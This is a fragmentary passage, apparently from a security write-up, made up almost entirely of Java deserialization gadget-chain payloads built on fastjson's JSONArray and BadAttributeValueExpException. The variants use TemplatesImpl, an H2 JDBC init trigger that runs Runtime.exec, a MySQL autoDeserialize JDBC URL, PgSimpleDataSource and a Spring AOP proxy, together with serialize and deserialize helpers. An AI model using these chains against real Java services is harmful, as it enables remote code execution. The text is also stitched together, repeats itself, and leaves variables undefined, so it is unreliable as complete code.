private Object readHandle(boolean unshared) throws IOException { if (bin.readByte() != TC_REFERENCE) { throw new InternalError(); } passHandle = bin.readInt() - baseWireHandle; if (passHandle < 0 || passHandle >= handles.size()) { throw new StreamCorruptedException( String.format("invalid handle value: %08X", passHandle + baseWireHandle)); } if (unshared) { // REMIND: what type of exception to throw here? throw new InvalidObjectException( "cannot read back reference as unshared"); }
Object obj = handles.lookupObject(passHandle); if (obj == unsharedMarker) { // REMIND: what type of exception to throw here? throw new InvalidObjectException( "cannot read back reference to unshared object"); } return obj; }
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray);
ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); arrayList.add(val); Serialize(arrayList); Unserialize("ser11.bin"); } public static void Serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser11.bin")); objectOutputStream.writeObject(obj); } public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj;
} public static void setFieldValue(Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } } }
JSONArray jsonArray = new JSONArray(); jsonArray.add(obj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray);
JSONArray jsonArray = new JSONArray(); jsonArray.add(attribute);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray);
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"calc\")\njava.lang.Thread.sleep(5000)"; String jdbc = "jdbc:h2:mem:;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'"; Object driverManagerDataSource = new DriverManagerDataSource(jdbc,"","");
JSONArray jsonArray = new JSONArray(); jsonArray.add(driverManagerDataSource);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray);
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"calc\")\njava.lang.Thread.sleep(5000)"; String jdbc = "jdbc:h2:mem:;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'"; DriverManagerDataSource dataSource = new DriverManagerDataSource(); dataSource.setJdbcUrl(jdbc);
JSONArray jsonArray = new JSONArray(); jsonArray.add(dataSource);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray);
JSONArray jsonArray = new JSONArray(); jsonArray.add(pgSimpleDataSource);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray);
Serialize(val); Unserialize("ser2.bin");
mysql
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
String jdbc = "jdbc:mysql://0.0.0.0:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; MysqlDataSource dataSource = new MysqlDataSource(); dataSource.setUrl(jdbc);
JSONArray jsonArray = new JSONArray(); jsonArray.add(dataSource);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray);
AdvisedSupport as = new AdvisedSupport(); as.setTargetSource(new SingletonTargetSource(templates)); Object o = newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,as);
Proxy proxy = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(), new Class[]{Templates.class}, (InvocationHandler)o);
JSONArray jsonArray = new JSONArray(); jsonArray.add(proxy);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray);
Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(), new Class[]{Templates.class}, (InvocationHandler)o);
JSONArray jsonArray = new JSONArray(); jsonArray.add(proxy2);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray);